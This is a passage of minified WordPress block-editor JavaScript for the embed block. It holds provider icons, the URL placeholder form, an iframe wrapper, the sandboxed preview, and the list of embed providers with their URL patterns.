24"},(0,$e.createElement)(We.G,null,(0,$e.createElement)(We.Path,{d:"M12 4.622c2.403 0 2.688.01 3.637.052.877.04 1.354.187 1.67.31.42.163.72.358 1.036.673.315.315.51.615.673 1.035.123.317.27.794.31 1.67.043.95.052 1.235.052 3.638s-.01 2.688-.052 3.637c-.04.877-.187 1.354-.31 1.67-.163.42-.358.72-.673 1.036-.315.315-.615.51-1.035.673-.317.123-.794.27-1.67.31-.95.043-1.234.052-3.638.052s-2.688-.01-3.637-.052c-.877-.04-1.354-.187-1.67-.31-.42-.163-.72-.358-1.036-.673-.315-.315-.51-.615-.673-1.035-.123-.317-.27-.794-.31-1.67-.043-.95-.052-1.235-.052-3.638s.01-2.688.052-3.637c.04-.877.187-1.354.31-1.67.163-.42.358-.72.673-1.036.315-.315.615-.51 1.035-.673.317-.123.794-.27 1.67-.31.95-.043 1.235-.052 3.638-.052M12 3c-2.444 0-2.75.01-3.71.054s-1.613.196-2.185.418c-.592.23-1.094.538-1.594 1.04-.5.5-.807 1-1.037 1.593-.223.572-.375 1.226-.42 2.184C3.01 9.25 3 9.555 3 12s.01 2.75.054 3.71.196 1.613.418 2.186c.23.592.538 1.094 1.038 1.594s1.002.808 1.594 1.038c.572.222 1.227.375 2.185.418.96.044 1.266.054 3.71.054s2.75-.01 3.71-.054 1.613-.196 2.186-.418c.592-.23 1.094-.538 1.594-1.038s.808-1.002 1.038-1.594c.222-.572.375-1.227.418-2.185.044-.96.054-1.266.054-3.71s-.01-2.75-.054-3.71-.196-1.613-.418-2.186c-.23-.592-.538-1.094-1.038-1.594s-1.002-.808-1.594-1.038c-.572-.222-1.227-.375-2.185-.418C14.75 3.01 14.445 3 12 3zm0 4.378c-2.552 0-4.622 2.07-4.622 4.622s2.07 4.622 4.622 4.622 4.622-2.07 4.622-4.622S14.552 7.378 12 7.378zM12 15c-1.657 0-3-1.343-3-3s1.343-3 3-3 3 1.343 3 3-1.343 3-3 3zm4.804-8.884c-.596 0-1.08.484-1.08 1.08s.484 1.08 1.08 1.08c.596 0 1.08-.484 1.08-1.08s-.483-1.08-1.08-1.08z"}))),li={foreground:"#0073AA",src:(0,$e.createElement)(We.SVG,{viewBox:"0 0 24 24"},(0,$e.createElement)(We.G,null,(0,$e.createElement)(We.Path,{d:"M12.158 12.786l-2.698 7.84c.806.236 1.657.365 2.54.365 1.047 0 2.05-.18 2.986-.51-.024-.037-.046-.078-.065-.123l-2.762-7.57zM3.008 12c0 3.56 2.07 6.634 5.068 8.092L3.788 8.342c-.5 1.117-.78 2.354-.78 3.658zm15.06-.454c0-1.112-.398-1.88-.74-2.48-.456-.74-.883-1.368-.883-2.11 0-.825.627-1.595 1.51-1.595.04 0 .078.006.116.008-1.598-1.464-3.73-2.36-6.07-2.36-3.14 0-5.904 1.613-7.512 4.053.21.008.41.012.58.012.94 0 2.395-.114 2.395-.114.484-.028.54.684.057.74 0 0-.487.058-1.03.086l3.275 9.74 1.968-5.902-1.4-3.838c-.485-.028-.944-.085-.944-.085-.486-.03-.43-.77.056-.742 0 0 1.484.114 2.368.114.94 0 2.397-.114 2.397-.114.486-.028.543.684.058.74 0 0-.488.058-1.03.086l3.25 9.665.897-2.997c.456-1.17.684-2.137.684-2.907zm1.82-3.86c.04.286.06.593.06.924 0 .912-.17 1.938-.683 3.22l-2.746 7.94c2.672-1.558 4.47-4.454 4.47-7.77 0-1.564-.4-3.033-1.1-4.314zM12 22C6.486 22 2 17.514 2 12S6.486 2 12 2s10 4.486 10 10-4.486 10-10 10z"})))},ii={foreground:"#1db954",src:(0,$e.createElement)(We.SVG,{viewBox:"0 0 24 24"},(0,$e.createElement)(We.Path,{d:"M12 2C6.477 2 2 6.477 2 12s4.477 10 10 10 10-4.477 10-10S17.523 2 12 2m4.586 14.424c-.18.295-.563.387-.857.207-2.35-1.434-5.305-1.76-8.786-.963-.335.077-.67-.133-.746-.47-.077-.334.132-.67.47-.745 3.808-.87 7.076-.496 9.712 1.115.293.18.386.563.206.857M17.81 13.7c-.226.367-.706.482-1.072.257-2.687-1.652-6.785-2.13-9.965-1.166-.413.127-.848-.106-.973-.517-.125-.413.108-.848.52-.973 3.632-1.102 8.147-.568 11.234 1.328.366.226.48.707.256 1.072m.105-2.835C14.692 8.95 9.375 8.775 6.297 9.71c-.493.15-1.016-.13-1.166-.624-.148-.495.13-1.017.625-1.167 3.532-1.073 9.404-.866 13.115 1.337.445.264.59.838.327 1.282-.264.443-.838.59-1.282.325"}))},si=(0,$e.createElement)(We.SVG,{viewBox:"0 0 24 24"},(0,$e.createElement)(We.Path,{d:"m6.5 7c-2.75 0-5 2.25-5 5s2.25 5 5 5 5-2.25 5-5-2.25-5-5-5zm11 0c-2.75 0-5 2.25-5 5s2.25 5 5 5 5-2.25 5-5-2.25-5-5-5z"})),ci={foreground:"#1ab7ea",src:(0,$e.createElement)(We.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(We.G,null,(0,$e.createElement)(We.Path,{d:"M22.396 7.164c-.093 2.026-1.507 4.8-4.245 8.32C15.323 19.16 12.93 21 10.97 21c-1.214 0-2.24-1.12-3.08-3.36-.56-2.052-1.118-4.105-1.68-6.158-.622-2.24-1.29-3.36-2.004-3.36-.156 0-.7.328-1.634.98l-.978-1.26c1.027-.903 2.04-1.806 3.037-2.71C6 3.95 7.03 3.328 7.716 3.265c1.62-.156 2.616.95 2.99 3.32.404 2.558.685 4.148.84 4.77.468 2.12.982 3.18 1.543 3.18.435 0 1.09-.687 1.963-2.064.872-1.376 1.34-2.422 1.402-3.142.125-1.187-.343-1.782-1.4-1.782-.5 0-1.013.115-1.542.34 1.023-3.35 2.977-4.976 5.862-4.883 2.14.063 3.148 1.45 3.024 4.16z"})))},ui=(0,$e.createElement)(We.SVG,{viewBox:"0 0 24 24"},(0,$e.createElement)(We.Path,{d:"M22 12.068a2.184 2.184 0 0 0-2.186-2.186c-.592 0-1.13.233-1.524.609-1.505-1.075-3.566-1.774-5.86-1.864l1.004-4.695 3.261.699A1.56 1.56 0 1 0 18.255 3c-.61-.001-1.147.357-1.398.877l-3.638-.77a.382.382 0 0 0-.287.053.348.348 0 0 0-.161.251l-1.112 5.233c-2.33.072-4.426.77-5.95 1.864a2.201 2.201 0 0 0-1.523-.61 2.184 2.184 0 0 0-.896 4.176c-.036.215-.053.43-.053.663 0 3.37 3.924 6.111 8.763 6.111s8.763-2.724 8.763-6.11c0-.216-.017-.449-.053-.664A2.207 2.207 0 0 0 22 12.068Zm-15.018 1.56a1.56 1.56 0 0 1 3.118 0c0 .86-.699 1.558-1.559 1.558-.86.018-1.559-.699-1.559-1.559Zm8.728 4.139c-1.076 1.075-3.119 1.147-3.71 1.147-.61 0-2.652-.09-3.71-1.147a.4.4 0 0 1 0-.573.4.4 0 0 1 .574 0c.68.68 2.114.914 3.136.914 1.022 0 2.473-.233 3.136-.914a.4.4 0 0 1 .574 0 .436.436 0 0 1 0 .573Zm-.287-2.563a1.56 1.56 0 0 1 0-3.118c.86 0 1.56.699 1.56 1.56 0 .841-.7 1.558-1.56 1.558Z"})),mi={foreground:"#35465c",src:(0,$e.createElement)(We.SVG,{viewBox:"0 0 24 24"},(0,$e.createElement)(We.Path,{d:"M19 3H5a2 2 0 00-2 2v14c0 1.1.9 2 2 2h14a2 2 0 002-2V5a2 2 0 00-2-2zm-5.69 14.66c-2.72 0-3.1-1.9-3.1-3.16v-3.56H8.49V8.99c1.7-.62 2.54-1.99 2.64-2.87 0-.06.06-.41.06-.58h1.9v3.1h2.17v2.3h-2.18v3.1c0 .47.13 1.3 1.2 1.26h1.1v2.36c-1.01.02-2.07 0-2.07 0z"}))},di=(0,$e.createElement)(We.SVG,{viewBox:"0 0 24 24"},(0,$e.createElement)(We.Path,{d:"M18.42 14.58c-.51-.66-1.05-1.23-1.05-2.5V7.87c0-1.8.15-3.45-1.2-4.68-1.05-1.02-2.79-1.35-4.14-1.35-2.6 0-5.52.96-6.12 4.14-.06.36.18.54.4.57l2.66.3c.24-.03.42-.27.48-.5.24-1.12 1.17-1.63 2.2-1.63.56 0 1.22.21 1.55.7.4.56.33 1.31.33 1.97v.36c-1.59.18-3.66.27-5.16.93a4.63 4.63 0 0 0-2.93 4.44c0 2.82 1.8 4.23 4.1 4.23 1.95 0 3.03-.45 4.53-1.98.51.72.66 1.08 1.59 1.83.18.09.45.09.63-.1v.04l2.1-1.8c.24-.21.2-.48.03-.75zm-5.4-1.2c-.45.75-1.14 1.23-1.92 1.23-1.05 0-1.65-.81-1.65-1.98 0-2.31 2.1-2.73 4.08-2.73v.6c0 1.05.03 1.92-.5 2.88z"}),(0,$e.createElement)(We.Path,{d:"M21.69 19.2a17.62 17.62 0 0 1-21.6-1.57c-.23-.2 0-.5.28-.33a23.88 23.88 0 0 0 20.93 1.3c.45-.19.84.3.39.6z"}),(0,$e.createElement)(We.Path,{d:"M22.8 17.96c-.36-.45-2.22-.2-3.1-.12-.23.03-.3-.18-.05-.36 1.5-1.05 3.96-.75 4.26-.39.3.36-.1 2.82-1.5 4.02-.21.18-.42.1-.3-.15.3-.8 1.02-2.58.69-3z"})),pi=(0,$e.createElement)(We.SVG,{viewBox:"0 0 24 24"},(0,$e.createElement)(We.Path,{d:"m.0206909 21 19.8160091-13.07806 3.5831 6.20826z",fill:"#4bc7ee"}),(0,$e.createElement)(We.Path,{d:"m23.7254 19.0205-10.1074-17.18468c-.6421-1.114428-1.7087-1.114428-2.3249 0l-11.2931 19.16418h22.5655c1.279 0 1.8019-.8905 1.1599-1.9795z",fill:"#d4cdcb"}),(0,$e.createElement)(We.Path,{d:"m.0206909 21 15.2439091-16.38571 4.3029 7.32271z",fill:"#c3d82e"}),(0,$e.createElement)(We.Path,{d:"m13.618 1.83582c-.6421-1.114428-1.7087-1.114428-2.3249 0l-11.2931 19.16418 15.2646-16.38573z",fill:"#e4ecb0"}),(0,$e.createElement)(We.Path,{d:"m.0206909 21 19.5468091-9.063 1.6621 2.8344z",fill:"#209dbd"}),(0,$e.createElement)(We.Path,{d:"m.0206909 21 17.9209091-11.82623 1.6259 2.76323z",fill:"#7cb3c9"})),gi=(0,$e.createElement)(We.SVG,{viewBox:"0 0 24 24"},(0,$e.createElement)(We.Path,{d:"m12.1479 18.5957c-2.4949 0-4.28131-1.7558-4.28131-4.0658 0-2.2176 1.78641-4.0965 4.09651-4.0965 2.2793 0 4.0349 1.7864 4.0349 4.1581 0 2.2794-1.7556 4.0042-3.8501 4.0042zm8.3521-18.5957-4.5329 1v7c-1.1088-1.41691-2.8028-1.8787-4.8049-1.8787-2.09443 0-3.97329.76993-5.5133 2.27917-1.72483 1.66323-2.6489 3.78863-2.6489 6.16033 0 2.5873.98562 4.8049 2.89526 6.499 1.44763 1.2936 3.17251 1.9402 5.17454 1.9402 1.9713 0 3.4498-.5236 4.8973-1.9402v1.9402h4.5329c0-7.6359 0-15.3641 0-23z",fill:"#333436"})),hi=(0,$e.createElement)(We.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1"},(0,$e.createElement)(We.Path,{d:"M12.289,2C6.617,2,3.606,5.648,3.606,9.622c0,1.846,1.025,4.146,2.666,4.878c0.25,0.111,0.381,0.063,0.439-0.169 c0.044-0.175,0.267-1.029,0.365-1.428c0.032-0.128,0.017-0.237-0.091-0.362C6.445,11.911,6.01,10.75,6.01,9.668 c0-2.777,2.194-5.464,5.933-5.464c3.23,0,5.49,2.108,5.49,5.122c0,3.407-1.794,5.768-4.13,5.768c-1.291,0-2.257-1.021-1.948-2.277 c0.372-1.495,1.089-3.112,1.089-4.191c0-0.967-0.542-1.775-1.663-1.775c-1.319,0-2.379,1.309-2.379,3.059 c0,1.115,0.394,1.869,0.394,1.869s-1.302,5.279-1.54,6.261c-0.405,1.666,0.053,4.368,0.094,4.604 c0.021,0.126,0.167,0.169,0.25,0.063c0.129-0.165,1.699-2.419,2.142-4.051c0.158-0.59,0.817-2.995,0.817-2.995 c0.43,0.784,1.681,1.446,3.013,1.446c3.963,0,6.822-3.494,6.822-7.833C20.394,5.112,16.849,2,12.289,2"})),vi=(0,$e.createElement)(We.SVG,{viewBox:"0 0 44 44"},(0,$e.createElement)(We.Path,{d:"M32.59521,22.001l4.31885-4.84473-6.34131-1.38379.646-6.459-5.94336,2.61035L22,6.31934l-3.27344,5.60351L12.78418,9.3125l.645,6.458L7.08643,17.15234,11.40479,21.999,7.08594,26.84375l6.34131,1.38379-.64551,6.458,5.94287-2.60938L22,37.68066l3.27344-5.60351,5.94287,2.61035-.64551-6.458,6.34277-1.38183Zm.44385,2.75244L30.772,23.97827l-1.59558-2.07391,1.97888.735Zm-8.82147,6.1579L22.75,33.424V30.88977l1.52228-2.22168ZM18.56226,13.48816,19.819,15.09534l-2.49219-.88642L15.94037,12.337Zm6.87719.00116,2.62043-1.15027-1.38654,1.86981L24.183,15.0946Zm3.59357,2.6029-1.22546,1.7381.07525-2.73486,1.44507-1.94867ZM22,29.33008l-2.16406-3.15686L22,23.23688l2.16406,2.93634Zm-4.25458-9.582-.10528-3.836,3.60986,1.284v3.73242Zm5.00458-2.552,3.60986-1.284-.10528,3.836L22.75,20.92853Zm-7.78174-1.10559-.29352-2.94263,1.44245,1.94739.07519,2.73321Zm2.30982,5.08319,3.50817,1.18164-2.16247,2.9342-3.678-1.08447Zm2.4486,7.49285L21.25,30.88977v2.53485L19.78052,30.91Zm3.48707-6.31121,3.50817-1.18164,2.33228,3.03137-3.678,1.08447Zm10.87219-4.28113-2.714,3.04529L28.16418,19.928l1.92176-2.72565ZM24.06036,12.81769l-2.06012,2.6322-2.059-2.63318L22,9.292ZM9.91455,18.07227l4.00079-.87195,1.921,2.72735-3.20794,1.19019Zm2.93024,4.565,1.9801-.73462L13.228,23.97827l-2.26838.77429Zm-1.55591,3.58819L13.701,25.4021l2.64935.78058-2.14447.67853Zm3.64868,1.977L18.19,27.17334l.08313,3.46332L14.52979,32.2793Zm10.7876,2.43549.08447-3.464,3.25165,1.03052.407,4.07684Zm4.06824-3.77478-2.14545-.68,2.65063-.781,2.41266.825Z"})),bi={foreground:"#f43e37",src:(0,$e.createElement)(We.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",fill:"none",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(We.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M24,12A12,12,0,1,1,12,0,12,12,0,0,1,24,12Z"}),(0,$e.createElement)(We.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M2.67,12a9.33,9.33,0,0,1,18.66,0H19a7,7,0,1,0-7,7v2.33A9.33,9.33,0,0,1,2.67,12ZM12,17.6A5.6,5.6,0,1,1,17.6,12h-2A3.56,3.56,0,1,0,12,15.56Z",fill:"#fff"}))},_i=()=>(0,$e.createElement)("div",{className:"wp-block-embed is-loading"},(0,$e.createElement)(We.Spinner,null)),yi=e=>{let{icon:t,label:n,value:o,onSubmit:a,onChange:r,cannotEmbed:l,fallback:i,tryAgain:s}=e;return(0,$e.createElement)(We.Placeholder,{icon:(0,$e.createElement)(Ze.BlockIcon,{icon:t,showColors:!0}),label:n,className:"wp-block-embed",instructions:(0,je.__)("Paste a link to the content you want to display on your site.")},(0,$e.createElement)("form",{onSubmit:a},(0,$e.createElement)("input",{type:"url",value:o||"",className:"components-placeholder__input","aria-label":n,placeholder:(0,je.__)("Enter URL to embed here…"),onChange:r}),(0,$e.createElement)(We.Button,{variant:"primary",type:"submit"},(0,je._x)("Embed","button label"))),(0,$e.createElement)("div",{className:"components-placeholder__learn-more"},(0,$e.createElement)(We.ExternalLink,{href:(0,je.__)("https://wordpress.org/support/article/embeds/")},(0,je.__)("Learn more about embeds"))),l&&(0,$e.createElement)("div",{className:"components-placeholder__error"},(0,$e.createElement)("div",{className:"components-placeholder__instructions"},(0,je.__)("Sorry, this content could not be embedded.")),(0,$e.createElement)(We.Button,{variant:"secondary",onClick:s},(0,je._x)("Try again","button label"))," ",(0,$e.createElement)(We.Button,{variant:"secondary",onClick:i},(0,je._x)("Convert to link","button label"))))},fi={class:"className",frameborder:"frameBorder",marginheight:"marginHeight",marginwidth:"marginWidth"};function ki(e){let{html:t}=e;const n=(0,$e.useRef)(),o=(0,$e.useMemo)((()=>{const e=(new window.DOMParser).parseFromString(t,"text/html").querySelector("iframe"),n={};return e?(Array.from(e.attributes).forEach((e=>{let{name:t,value:o}=e;"style"!==t&&(n[fi[t]||t]=o)})),n):n}),[t]);return(0,$e.useEffect)((()=>{const{ownerDocument:e}=n.current,{defaultView:t}=e;function a(e){let{data:{secret:t,message:a,value:r}={}}=e;"height"===a&&t===o["data-secret"]&&(n.current.height=r)}return t.addEventListener("message",a),()=>{t.removeEventListener("message",a)}}),[]),(0,$e.createElement)("div",{className:"wp-block-embed__wrapper"},(0,$e.createElement)("iframe",nt({ref:(0,Wt.useMergeRefs)([n,(0,Wt.useFocusableIframe)()]),title:o.title},o)))}class xi extends $e.Component{constructor(){super(...arguments),this.hideOverlay=this.hideOverlay.bind(this),this.state={interactive:!1}}static getDerivedStateFromProps(e,t){return!e.isSelected&&t.interactive?{interactive:!1}:null}hideOverlay(){this.setState({interactive:!0})}render(){const{preview:e,previewable:t,url:n,type:o,caption:a,onCaptionChange:r,isSelected:l,className:i,icon:s,label:c,insertBlocksAfter:u}=this.props,{scripts:m}=e,{interactive:d}=this.state,p="photo"===o?(e=>{const t=e.url||e.thumbnail_url,n=(0,$e.createElement)("p",null,(0,$e.createElement)("img",{src:t,alt:e.title,width:"100%"}));return(0,$e.renderToString)(n)})(e):e.html,g=new URL(n).host.split("."),h=g.splice(g.length-2,g.length-1).join("."),v=(0,je.sprintf)(// translators: %s: host providing embed content e.g: www.youtube.com
(0,je.__)("Embedded content from %s"),h),b=Tt()(o,i,"wp-block-embed__wrapper"),_="wp-embed"===o?(0,$e.createElement)(ki,{html:p}):(0,$e.createElement)("div",{className:"wp-block-embed__wrapper"},(0,$e.createElement)(We.SandBox,{html:p,scripts:m,title:v,type:b,onFocus:this.hideOverlay}),!d&&(0,$e.createElement)("div",{className:"block-library-embed__interactive-overlay",onMouseUp:this.hideOverlay}));return(0,$e.createElement)("figure",{className:Tt()(i,"wp-block-embed",{"is-type-video":"video"===o})},t?_:(0,$e.createElement)(We.Placeholder,{icon:(0,$e.createElement)(Ze.BlockIcon,{icon:s,showColors:!0}),label:c},(0,$e.createElement)("p",{className:"components-placeholder__error"},(0,$e.createElement)("a",{href:n},n)),(0,$e.createElement)("p",{className:"components-placeholder__error"},(0,je.sprintf)(
/* translators: %s: host providing embed content e.g: www.youtube.com */
(0,je.__)("Embedded content from %s can't be previewed in the editor."),h))),(!Ze.RichText.isEmpty(a)||l)&&(0,$e.createElement)(Ze.RichText,{tagName:"figcaption",className:(0,Ze.__experimentalGetElementClassName)("caption"),placeholder:(0,je.__)("Add caption"),value:a,onChange:r,inlineToolbar:!0,__unstableOnSplitAtEnd:()=>u((0,Ge.createBlock)((0,Ge.getDefaultBlockName)()))}))}}const wi=xi,{name:Ei}={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/embed",title:"Embed",category:"embed",description:"Add a block that displays content pulled from other sites, like Twitter or YouTube.",textdomain:"default",attributes:{url:{type:"string",__experimentalRole:"content"},caption:{type:"string",source:"html",selector:"figcaption",__experimentalRole:"content"},type:{type:"string",__experimentalRole:"content"},providerNameSlug:{type:"string",__experimentalRole:"content"},allowResponsive:{type:"boolean",default:!0},responsive:{type:"boolean",default:!1,__experimentalRole:"content"},previewable:{type:"boolean",default:!0,__experimentalRole:"content"}},supports:{align:!0},editorStyle:"wp-block-embed-editor",style:"wp-block-embed"},Ci={from:[{type:"raw",isMatch:e=>{var t,n;return"P"===e.nodeName&&/^\s*(https?:\/\/\S+)\s*$/i.test(e.textContent)&&1===(null===(t=e.textContent)||void 0===t||null===(n=t.match(/https/gi))||void 0===n?void 0:n.length)},transform:e=>(0,Ge.createBlock)(Ei,{url:e.textContent.trim()})}],to:[{type:"block",blocks:["core/paragraph"],isMatch:e=>{let{url:t}=e;return!!t},transform:e=>{let{url:t,caption:n}=e,o=`<a href="${t}">${t}</a>`;return null!=n&&n.trim()&&(o+=`<br />${n}`),(0,Ge.createBlock)("core/paragraph",{content:o})}}]},Si=[{name:"twitter",title:"Twitter",icon:ni,keywords:["tweet",(0,je.__)("social")],description:(0,je.__)("Embed a tweet."),patterns:[/^https?:\/\/(www\.)?twitter\.com\/.+/i],attributes:{providerNameSlug:"twitter",responsive:!0}},{name:"youtube",title:"YouTube",icon:oi,keywords:[(0,je.__)("music"),(0,je.__)("video")],description:(0,je.__)("Embed a YouTube video."),patterns:[/^https?:\/\/((m|www)\.)?youtube\.com\/.+/i,/^https?:\/\/youtu\.be\/.+/i],attributes:{providerNameSlug:"youtube",responsive:!0}},{name:"facebook",title:"Facebook",icon:ai,keywords:[(0,je.__)("social")],description:(0,je.__)("Embed a Facebook post."),scope:["block"],patterns:[],attributes:{providerNameSlug:"facebook",previewable:!1,responsive:!0}},{name:"instagram",title:"Instagram",icon:ri,keywords:[(0,je.__)("image"),(0,je.__)("social")],description:(0,je.__)("Embed an Instagram post."),scope:["block"],patterns:[],attributes:{providerNameSlug:"instagram",responsive:!0}},{name:"wordpress",title:"WordPress",icon:li,keywords:[(0,je.__)("post"),(0,je.__)("blog")],description:(0,je.__)("Embed a WordPress post."),attributes:{providerNameSlug:"wordpress"}},{name:"soundcloud",title:"SoundCloud",icon:Xl,keywords:[(0,je.__)("music"),(0,je.__)("audio")],description:(0,je.__)("Embed SoundCloud content."),patterns:[/^https?:\/\/(www\.)?soundcloud\.com\/.+/i],attributes:{providerNameSlug:"soundcloud",responsive:!0}},{name:"spotify",title:"Spotify",icon:ii,keywords:[(0,je.__)("music"),(0,je.__)("audio")],description:(0,je.__)("Embed Spotify content."),patterns:[/^https?:\/\/(open|play)\.spotify\.com\/.+/i],attributes:{providerNameSlug:"spotify",responsive:!0}},{name:"flickr",title:"Flickr",icon:si,keywords:[(0,je.__)("image")],description:(0,je.__)("Embed Flickr content."),patterns:[/^https?:\/\/(www\.)?flickr\.com\/.+/i,/^https?:\/\/flic\.kr\/.+/i],attributes:{providerNameSlug:"flickr",responsive:!0}},{name:"vimeo",title:"Vimeo",icon:ci,keywords:[(0,je.__)("video")],description:(0,je.__)("Embed a Vimeo video."),patterns:[/^https?:\/\/(www\.)?vimeo\.com\/.+/i],attributes:{providerNameSlug:"vimeo",responsive:!0}},{name:"animoto",title:"Animoto",icon:pi,description:(0,je.__)("Embed an Animoto video."),patterns:[/^https?:\/\/(www\.)?(animoto|video214)\.com\/.+/i],attributes:{providerNameSlug:"animoto",responsive:!0}},{name:"cloudup",title:"Cloudup",icon:Jl,description:(0,je.__)("Embed Cloudup content."),patterns:[/^https?:\/\/cloudup\.com\/.+/i],attributes:{providerNameSlug:"cloudup",responsive:!0}},{name:"collegehumor",title:"CollegeHumor",icon:ti,description:(0,je.__)("Embed CollegeHumor content."),scope:["block"],patterns:[],attributes:{providerNameSlug:"collegehumor",responsive:!0}},{name:"crowdsignal",title:"Crowdsignal",icon:Jl,keywords:["polldaddy",(0,je.__)("survey")],description:(0,je.__)("Embed Crowdsignal (formerly Polldaddy) content."),patterns:[/^https?:\/\/((.+\.)?polldaddy\.com|poll\.fm|.+\.survey\.fm)\/.+/i],attributes:{providerNameSlug:"crowdsignal",responsive:!0}},{name:"dailymotion",title:"Dailymotion",icon:gi,keywords:[(0,je.__)("video")],description:(0,je.__)("Embed a Dailymotion video."),patterns:[/^https?:\/\/(www\.)?dailymotion\.com\/.+/i],attributes:{providerNameSlug:"dailymotion",responsive:!0}},{name:"imgur",title:"Imgur",icon:ei,description:(0,je.__)("Embed Imgur content."),patterns:[/^https?:\/\/(.+\.)?imgur\.com\/.+/i],attributes:{providerNameSlug:"imgur",responsive:!0}},{name:"issuu",title:"Issuu",icon:Jl,description:(0,je.__)("Embed Issuu content."),patterns:[/^https?:\/\/(www\.)?issuu\.com\/.+/i],attributes:{providerNameSlug:"issuu",responsive:!0}},{name:"kickstarter",title:"Kickstarter",icon:Jl,description:(0,je.__)("Embed Kickstarter content."),patterns:[/^https?:\/\/(www\.)?kickstarter\.com\/.+/i,/^https?:\/\/kck\.st\/.+/i],attributes:{providerNameSlug:"kickstarter",responsive:!0}},{name:"mixcloud",title:"Mixcloud",icon:Xl,keywords:[(0,je.__)("music"),(0,je.__)("audio")],description:(0,je.__)("Embed Mixcloud content."),patterns:[/^https?:\/\/(www\.)?mixcloud\.com\/.+/i],attributes:{providerNameSlug:"mixcloud",responsive:!0}},{name:"pocketcasts",title:"Pocket Casts",icon:bi,keywords:[(0,je.__)("podcast"),(0,je.__)("audio")],description:(0,je.__)("Embed a podcast player from Pocket Casts."),patterns:[/^https:\/\/pca.st\/\w+/i],attributes:{providerNameSlug:"pocketcasts",responsive:!0}},{name:"reddit",title:"Reddit",icon:ui,description:(0,je.__)("Embed a Reddit thread."),patterns:[/^https?:\/\/(www\.)?reddit\.com\/.+/i],attributes:{providerNameSlug:"reddit",responsive:!0}},{name:"reverbnation",title:"ReverbNation",icon:Xl,description:(0,je.__)("Embed ReverbNation content."),patterns:[/^https?:\/\/(www\.)?reverbnation\.com\/.+/i],attributes:{providerNameSlug:"reverbnation",responsive:!0}},{name:"screencast",title:"Screencast",icon:ti,description:(0,je.__)("Embed Screencast content."),patterns:[/^https?:\/\/(www\.)?screencast\.com\/.+/i],attributes:{providerNameSlug:"screencast",responsive:!0}},{name:"scribd",title:"Scribd",icon:Jl,description:(0,je.__)("Embed Scribd content."),patterns:[/^https?:\/\/(www\.)?scribd\.com\/.+/i],attributes:{providerNameSlug:"scribd",responsive:!0}},{name:"slideshare",title:"Slideshare",icon:Jl,description:(0,je.__)("Embed Slideshare content."),patterns:[/^https?:\/\/(.+?\.)?slideshare\.net\/.+/i],attributes:{providerNameSlug:"slideshare",responsive:!0}},{name:"smugmug",title:"SmugMug",icon:ei,description:(0,je.__)("Embed SmugMug content."),patterns:[/^https?:\/\/(.+\.)?smugmug\.com\/.*/i],attributes:{providerNameSlug:"smugmug",previewable:!1,responsive:!0}},{name:"speaker-deck",title:"Speaker Deck",icon:Jl,description:(0,je.__)("Embed Speaker Deck content."),patterns:[/^https?:\/\/(www\.)?speakerdeck\.com\/.+/i],attributes:{providerNameSlug:"speaker-deck",responsive:!0}},{name:"tiktok",title:"TikTok",icon:ti,keywords:[(0,je.__)("video")],description:(0,je.__)("Embed a TikTok video."),patterns:[/^https?:\/\/(www\.)?tiktok\.com\/.+/i],attributes:{providerNameSlug:"tiktok",responsive:!0}},{name:"ted",title:"TED",icon:ti,description:(0,je.__)("Embed a TED video."),patterns:[/^https?:\/\/(www\.|embed\.)?ted\.com\/.+/i],attributes:{providerNameSlug:"ted",responsive:!0}},{name:"tumblr",title:"Tumblr",icon:mi,keywords:[(0,je.__)("social")],description:(0,je.__)("Embed a Tumblr post."),patterns:[/^https?:\/\/(www\.)?tumblr\.com\/.+/i],attributes:{providerNameSlug:"tumblr",responsive:!0}},{name:"videopress",title:"VideoPress",icon:ti,keywords:[(0,je.__)("video")],description:(0,je.__)("Embed a VideoPress video."),patterns:[/^https?:\/\/videopress\.com\/.+/i],attributes:{providerNameSlug:"videopress",responsive:!0}},{name:"wordpress-tv",title:"WordPress.tv",icon:ti,description:(0,je.__)("Embed a WordPress.tv video."),patterns:[/^https?:\/\/wordpress\.tv\/.+/i],attributes:{providerNameSlug:"wordpress-tv",responsive:!0}},{name:"amazon-kindle",title:"Amazon Kindle",icon:di,keywords:[(0,je.__)("ebook")],description:(0,je.__)("Embed Amazon Kindle content."),patterns:[/^https?:\/\/([a-z0-9-]+\.)?(amazon|amzn)(\.[a-z]{2,4})+\/.+/i,/^https?:\/\/(www\.)?(a\.co|z\.cn)\/.+/i],attributes:{providerNameSlug:"amazon-kindle"}},{name:"pinterest",title:"Pinterest",icon:hi,keywords:[(0,je.__)("social"),(0,je.__)("bookmark")],description:(0,je.__)("Embed Pinterest pins, boards, and profiles."),patterns:[/^https?:\/\/([a-z]{2}|www)\.pinterest\.com(\.(au|mx))?\/.*/i],attributes:{providerNameSlug:"pinterest"}},{name:"wolfram-cloud",title:"Wolfram",icon:vi,description:(0,je.__)("Embed Wolfram notebook content."),patterns:[/^https?:\/\/(www\.)?wolframcloud\.com\/obj\/.+/i],attributes:{providerNameSlug:"wolfram-cloud",responsive:!0}}];Si.forEach((e=>{e.isActive||(e.isActive=(e,t)=>e.providerNameSlug===t.providerNameSlug)}));const Bi=Si,{attributes:Ti}={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/embed",title:"Embed",category:"embed",description:"Add a block that displays content pulled from other sites, like Twitter or YouTube.",textdomain:"default",attributes:{url:{type:"string",__experimentalRole:"content"},caption:{type:"string",source:"html",selector:"figcaption",__experimentalRole:"content"},type:{type:"string",__experimentalRole:"content"},providerNameSlug:{type:"string",__experimentalRole:"content"},allowResponsive:{type:"boolean",default:!0},responsive:{type:"boolean",default:!1,__experimentalRole:"content"},previewable:{type:"boolean",default:!0,__experimentalRole:"content"}},supports:{align:!0},editorStyle:"wp-block-embed-editor",style:"wp-block-embed"},Ni=[{attributes:Ti,save(e){let{attributes:{url:t,caption:n,type:o,providerNameSlug:a}}=e;if(!t)return null;const 